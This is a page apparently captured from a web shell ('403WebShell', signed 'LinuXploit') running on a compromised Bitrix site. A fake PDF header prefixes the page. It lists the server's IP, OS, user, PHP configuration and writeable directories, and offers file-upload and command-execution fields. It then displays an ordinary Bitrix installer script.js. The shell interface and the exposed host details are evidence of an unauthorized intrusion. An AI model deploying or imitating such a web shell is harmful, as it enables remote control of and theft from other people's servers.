%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.191.218.187
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.bsm.site.master/wizard/template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.bsm.site.master/wizard/template/script.js
function strip_tags(str)
{
	return str.replace(/<\/?[^>]+>/gi, '');
}

function CModuleWizardForm(formName, target, hiddenField)
{
	var form = document.forms[formName];
	if (!form)
		form = document.getElementById(formName);

	this.nextStep = form.elements[hiddenField];
	this.nextStepStage = form.elements[hiddenField+"Stage"];
	this.iframe = document.getElementById(target);
	this.form = form;
	this.form.target = target;
	var _this = this;

	if (this.iframe.attachEvent) //IE
		this.iframe.attachEvent("onload", function() {_this.AjaxHandler()});
	else
		this.iframe.onload = function() {_this.AjaxHandler()};

	this.percent = null;
	this.progressBar = null;
	this.result = null;
	this.description = null;
}

CModuleWizardForm.prototype.AjaxHandler = function()
{
	if(this.iframe.contentWindow && this.iframe.contentWindow.location.href.indexOf('http') !== 0)
		return;

	var iframeDocument;
	if (this.iframe.contentDocument)
		iframeDocument = this.iframe.contentDocument;
	else
		iframeDocument = this.iframe.contentWindow.document;

	var response = iframeDocument.body.innerHTML;
	if (response.length === 0
		|| iframeDocument.getElementById("bitrix_install_template")
		|| response.indexOf("[Error]") !== -1
	)
	{
		this.ShowError("Connection error. Empty response.");
		return;
	}

	var regexpStart = new RegExp('\\[response\\]', 'i');
	var regexpEnd = new RegExp('\\[\/response\\]', 'i');

	var matchResponse = response.match(regexpStart);

	if (matchResponse === null)
	{
		this.ShowError(response);
		return;
	}

	var start = matchResponse.index + matchResponse[0].length;
	var end = response.search(regexpEnd);
	if (end === -1)
	{
		this.ShowError(response);
		return;
	}

	response = response.substr(start, end-start);

	window.eval(response);
};

CModuleWizardForm.prototype.ShowError = function(errorMessage)
{
	var errorContainer = document.getElementById("error_container");
	var errorText = document.getElementById("error_text");
	if (!errorContainer || !errorText)
		return;

	errorContainer.style.display = 'block';
	errorText.innerHTML = errorMessage;

	var retryButton = document.getElementById("error_retry_button");
	var skipButton = document.getElementById("error_skip_button");

	var _this = this;
	var nextStep = this.nextStep.value;
	var nextStepStage = this.nextStepStage.value;

	retryButton.onclick = function() {
		_this.HideError();
		_this.Post(nextStep, nextStepStage);
	};

	if (nextStep === "main")
	{
		skipButton.onclick = function() {
			_this.HideError();
			_this.Post(nextStep, nextStepStage);
		};
	}
	else
	{
		skipButton.onclick = function() {
			_this.HideError();
			_this.Post(nextStep, 'skip');
		};
	}
};

CModuleWizardForm.prototype.HideError = function()
{
	var errorContainer = document.getElementById("error_container");
	var errorText = document.getElementById("error_text");
	if (!errorContainer || !errorText)
		return;

	while (errorText.firstChild)
		errorText.removeChild(errorText.firstChild);

	errorContainer.style.display = 'none';
};

CModuleWizardForm.prototype.Post = function(nextStep, nextStepStage)
{
	if (nextStep)
		this.nextStep.value = nextStep;

	this.nextStepStage.value = nextStepStage;

	if (nextStep === "finish")
	{
		this.FinishStatus()
	}
	else
	{
		this.form.submit();
	}
};

CModuleWizardForm.prototype.StopAjax = function()
{
	this.iframe.onload = null;
	this.form.target = "_self";
};

CModuleWizardForm.prototype.SetStatus = function(percent)
{
	if (!this.percent)
		this.percent = document.getElementById("progressBar_percent");

	this.percent.innerHTML = percent;

	if (!this.progressBar)
		this.progressBar = document.getElementById("progressBar");

	this.progressBar.style.width = percent + "%";
};

CModuleWizardForm.prototype.FinishStatus = function()
{
	if (!this.result)
		this.result = document.getElementById("result");

	if (!!this.result.classList && !this.result.classList.contains("complete"))
	{
		this.result.classList.add("complete");
	}

	document.getElementById("button_submit_wrap").style.display = "block";

	this.AutoSubmitTimer();
};

CModuleWizardForm.prototype.AutoSubmitTimer = function()
{
	if (!this.description)
		this.description = document.getElementById("progress_description");

	var descriptionText = BX.message("SALE_BSM_WIZARD_MODULEINSTALLSTEP_INSTALL_WAIT3");
	var seconds = 10;

	var intervalId = setInterval(function(descriptionText, that){
		if(seconds === 0){
			clearInterval(intervalId);
			that.form.submit();
		}

		that.description.innerHTML = descriptionText.replace("#COUNT_TIME#", seconds);

		seconds--;
	}, 1000, descriptionText, this);
};

Youez - 2016 - github.com/yon3zu
LinuXploit